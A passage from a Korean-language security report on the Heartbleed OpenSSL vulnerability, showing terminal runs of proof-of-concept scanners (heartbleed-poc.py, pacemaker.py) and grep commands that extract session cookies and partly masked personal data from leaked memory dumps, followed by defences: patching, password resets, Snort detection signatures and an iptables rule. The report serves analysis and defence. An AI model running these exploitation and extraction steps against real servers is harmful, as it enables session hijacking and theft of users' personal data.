19 - 다음은반복실행결과를저장한 dump 파일에서 grep 를이용해쿠키값을추출한것임 ghost-2:heartbleed ghost$ grep -a "^Cookie:" dump Cookie: JSESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34.newtwo Cookie: JSESSIONID=18B688BAF5EA77DB03151C39152ADC2A.newtwo Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID= FEA7E870AC FD1CC.newone; utma= ; utmb= ; utmc= ; utmz= utmgclid=cjhsjc391b0cfssq7aodacea3w utmccn=(not%20set) utmcm d=(not%20set) Cookie: JSESSIONID=9269A7D9C844A755A28BCEFB39D128A4.newone Cookie: JSESSIONID= FEA7E870AC FD1CC.newone; utma= ; utmb= ; utmc= ; utmz= utmgclid=cjhsjc391b0cfssq7aodacea3w utmccn=(not%20set) utmcm d=(not%20set) Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=A9FEC6C9074EA05CF357BA0963D133A2.newtwo ghost-2:heartbleed ghost$ - 다음은반복실행결과를저장한 dump 파일에서 pcregrep 를이용해의미있는정보들을 추출한것임 (pcregrep 8 을 Mac OS X 에설치할경우 root 권한으로설치해야에러가 발생하지않음 ) ghost-2:heartbleed ghost$ pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump v=3 p=33 p=33 q=0 q=0 q=0 JSESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34 SESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34 3AcellPhone1=210 3AcellPhone2=861 3AcellPhone3=1530 issuetype=1 other=i JSESSIONID=18B688BAF5EA77DB03151C39152ADC2A bih=460 psw=320 psh=148 frm=0 ui=uv3sl1sr1cc1 rurl=http ref=http r=n utmgclid=cjhsjc391b0cfssq7aodacea3w / 22

20 monthlyincome=xxxx rmsubmitted=false trackpageid=1144 firstname=xxxxxx lastname=xxxxxxx mobile=xxxxxxxxx promoid=8 subpromoid=default utma= ref=http q=0 q=0 JSESSIONID=9269A7D9C844A755A28BCEFB39D128A4 promoid=ppc gclid=cjhsjc391b0cfssq7aodacea3w JSESSIONID= FEA7E870AC FD1CC utma= utmb= utmc= utmz= utmgclid=cjhsjc391b0cfssq7aodacea3w d=cjhsjc391b0cfssq7aodacea3w utma= utmb= utmc= utmz= utmgclid=cjhsjc391b0cfssq7aodacea3w firstname=xxx lastname=xxxxx =xxxxxxxx mobilephone=xxxxxxx x=119 y=23 agreeterms=on agreetext=on ref=http q=0 JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41 affiliate_ref=ppcmmiez9qekyqb2exhsj3up99l0vehd4ah5240ibuitfwy96qy9 promoid=ppc gclid=cn JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB d=cjhsjc391b0cfssq7aodacea3w q=0 JSESSIONID=A9FEC6C9074EA05CF357BA0963D133A2 ghost-2:heartbleed ghost$ - 위의추출한결과를보면이름, 이메일, 전화번호, 월수익등의정보와세션 ID 등의정보가 노출되었음을알수있음 - 이코드는 plain text 통신프로토콜의확장기능인 STARTTLS 를사용하는메일서버도 점검하는기능이있으며, 사용법은다음과같음 ghost-2:heartbleed ghost$ python heartbleed-poc.py -s -p 25 xxx.xxx.xxx.xxx Scanning xxx.xxx.xxx.xxx on port 25 #6. Peter Wu 의 CVE client 테스트코드, pacemaker.py - 이코드는 curl, wget 등각종클라이언트를실행했을때데이터노출여부를확인하는 코드로, 에서확인할수있음 17 / 22

21 - 먼저 pacemaker.py 를실행하면 listening 모드에서값이입력되길기다리고있으며, ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients - 다른콘솔에서다음과같이 curl 을실행하면, ghost-2:heartbleed ghost$ curl curl: (35) Unknown SSL protocol error in connection to localhost:4433 ghost-2:heartbleed ghost$ - 대기중이던서버에서다음과같이출력이되고, 만약취약하지않을경우다음과같은 문자열이출력되며, Connection from: :52534 Possibly not vulnerable - 만약, 취약할경우아래와같은형태로출력됨 ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients Connection from: :52531 Client returned (0xffff) bytes 0000: ff ff 2d c6 6d 86...@ R4.m. 0010: 8d e da ee 7e 21 c4 1d 2e 9f e9 60 5f 05..@...~!...`_. 0020: b0 ce af 7e b7 95 8c f d5 00 c ~...3B? : f : * 4000: @ : @.. c000: c010: @... fff0: 다음은 wget 을사용했을때출력되는결과임 ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients ghost-2:heartbleed ghost$ wget -O /dev/null :35: Resolving google.com (google.com) , , ,... Connecting to google.com (google.com) : connected. ERROR: cannot verify google.com's certificate, issued by `/C=US/O=Google Inc/CN=Google Internet Authority G2': Unable to locally verify the issuer's authority. ERROR: certificate common name `*.google.com' doesn't match requested host name `google.com'. To connect to google.com insecurely, use ` --no-check-certificate' :35: Resolving localhost (localhost)... ::1, , fe80::1 Connecting to localhost (localhost) ::1 : failed: Connection refused. Connecting to localhost (localhost) : connected. Unable to establish SSL connection. ghost-2:heartbleed ghost$ ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients Connection from: : / 22

22 Client returned (0xffff) bytes 0000: ff ff 2d c6 6d -..R4.m. 0010: 8d e da ee 7e 21 c4 1d 2e 9f e9 60 5f 0020: b0 ce af 7e b7 95 8c f d5 00 c ~...3B? : f b f9 83 b a4...g.h : be 92 ad 86 2c 16 fb c f ff Y2..., : 02 d d5 82 0c 2a 2e 67 6f 6f 67 6c *.google 0270: 2e 63 6f 6d 82 0d 2a 2e 61 6e f e.com..*.android. 0280: 63 6f 6d a 2e e e 65 com..*.appengine 0290: 2e 67 6f 6f 67 6c 65 2e 63 6f 6d a 2e 63.google.com..*.c 02a0: 6c 6f e 67 6f 6f 67 6c 65 2e 63 6f 6d 82 loud.google.com. 02b0: 16 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c *.google -analyt c000: c010: fff0: pacemaker.py 를이용해다른클라이언트에대해서도확인할수있음 #7. Metasploit 모듈 - Metasploit용모듈공개 (Metasploit 측제공이미지 ) 19 / 22

23 3) 방어책 # OpenSSL 버전업데이트 - OpenSSL 1.0.1g에서는해당취약점이패치가되었으므로, OpenSSL 1.0.1g 이상의버전으로업데이트필요 ( 최신버전 이전버전을사용해야만할경우취약한부분의코드를수정해재컴파일하여사용하는 것이필요 # 패스워드변경 - yahoo 등을비롯해일부서버의계정정보와패스워드가노출되었으므로, 패스워드를 수정하는것이필요하며, yahoo 계정의사용자일경우반드시수정해야할것임 # Tor 업데이트 - 우리나라시간으로 4 월 9 일취약한버전의 OpenSSL 을버전 1.0.1g 로업데이트한 Tor 안정버전을발표함 - 다운로드 : # VMware - VMWare는취약한제품들의목록과업데이트관련정보를제공하고있음 &externalid= # Stephen Coty가제시한 IDS signature =Feed%3A+HelpNetSecurity+%28Help+Net+Security%29 참고 alert tcp!$home_net any -> $HOME_NET 443 (msg:"sslv3 OpenSSL Heartbeat Memory Leak"; content:" "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve, ; classtype:bad-unknown; sid: ; tag:session,5,packets; rev:1;) alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1 OpenSSL Heartbeat Memory Leak"; content:" "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve, ; classtype:bad-unknown; sid: ; tag:session,5,packets; rev:1;) alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1.1 OpenSSL Heartbeat Memory Leak"; content:" "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve, ; classtype:bad-unknown; sid: ; tag:session,5,packets; rev:1;) 9 aign=feed%3a+helpnetsecurity+%28help+net+security%29 20 / 22

24 alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1.2 OpenSSL Heartbeat Memory Leak"; content:" "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve, ; classtype:bad-unknown; sid: ; tag:session,5,packets; rev:1;) # Fabien Bourdaire 이만든 https 를위한 iptables 룰 iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \ "52=0x :0x1803FFFF" -j DROP 3. 기타 - xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ( 공개용버전내용삭제 ) - 브라우저는 OpenSSL 을사용하지않으므로, 이취약점에의해영향을받지않음 - Android 로이공격에취약하다고하며, 해당안드로이드시스템에대해테스트는하지못함 - 카카오톡의경우에도취약점정보가처음공개되었을때이취약점의영향을받았음 - OpenVPN 도이버그에취약하다고하며, 아직 OpenVPN 에대해테스트는하지못함 - IIS 서버는 OpenSSL 을사용하지않기때문에취약하지않음 - 해당취약점을수정한 Bitcoin Core Version 이공개됨 - 이취약점에영향을받지않는주요대상 * 국내금융권대부분 * 국내포털사이트 * Amazon * Apple * Microsoft * Twitter * ebay * PayPal * Evernote 21 / 22

25 - 패스워드변경권고 * Facebook * Instagram * Google * Yahoo * Dropbox * GitHub - 참고자료 * CVE * Heartbleed 웹사이트 * CNET, Heartbleed' bug undoes Web encryption, reveals Yahoo passwords * Matthew Green, Attack of the week: OpenSSL Heartbleed * Rahul Sasi, CVE Heartbleed Attack POC and Mass Scanner * Jake Williams, HeartBleed what you need to know - 첨부파일 ( 공개용버전내용삭제 ) 22 / 22